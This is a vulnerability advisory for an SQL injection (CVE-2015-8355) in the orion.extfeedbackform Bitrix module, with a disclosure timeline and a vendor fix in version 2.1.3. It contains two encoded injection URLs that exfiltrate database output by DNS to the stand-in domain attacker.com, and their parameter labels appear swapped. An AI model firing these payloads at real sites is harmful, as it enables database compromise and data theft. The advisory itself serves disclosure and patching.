Advisory ID: HTB23280
Product: orion.extfeedbackform Bitrix module
Vendor: www.orion-soft.ru
Vulnerable Version(s): 2.1.2 and probably prior
Tested Version: 2.1.2
Advisory Publication:  November 18, 2015  [without technical details]
Vendor Notification: November 18, 2015 
Vendor Patch: December 11, 2015 
Public Disclosure: December 16, 2015 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2015-8355
Risk Level: Medium 
CVSSv3 Base Score: 6.3 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered two vulnerabilities in orion.extfeedbackform Bitrix module, can be exploited to execute arbitrary SQL queries and obtain potentially sensitive data, modify information in database and gain complete control over the vulnerable website.

All discovered vulnerabilities require that the attacker is authorized against the website and has access to vulnerable module. However the vulnerabilities can be also exploited via CSRF, since the web application does not check origin of received requests. This means, that a remote anonymous attacker can create a page with CSRF exploit, trick victim to visit this page and execute arbitrary SQL queries in database of vulnerable website. 

The vulnerability exists due to insufficient filtration of input data passed via the "order" and "by" HTTP GET parameters to "/bitrix/admin/orion.extfeedbackform_efbf_forms.php" script. A remote authenticated attacker can manipulate SQL queries by injecting arbitrary SQL code.

Below are two exploits for each vulnerable parameter. They are based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker).

"order":

http://[host]/bitrix/admin/orion.extfeedbackform_efbf_forms.php?by=ID,%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29, %28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29, CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29, CHAR%28111%29,CHAR%28109%29,CHAR%2892%29, CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29, CHAR%28114%29%29%29%29+--+

"by":

http://[host]/bitrix/admin/orion.extfeedbackform_efbf_forms.php?order=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29, %28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29, CHAR%28101%29,CHAR%28114%29,CHAR%2846%29, CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29, CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29, CHAR%28114%29%29%29%29+--+

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Solution:

Update to orion.extfeedbackform 2.1.3

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References:

[1] High-Tech Bridge Advisory HTB23280 - https://www.htbridge.com/advisory/HTB23280 - SQL Injection in orion.extfeedbackform Bitrix module
[2] orion.extfeedbackform - https://marketplace.1c-bitrix.ru/solutions/orion.extfeedbackform/ - Bitrix module for feedback forms.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.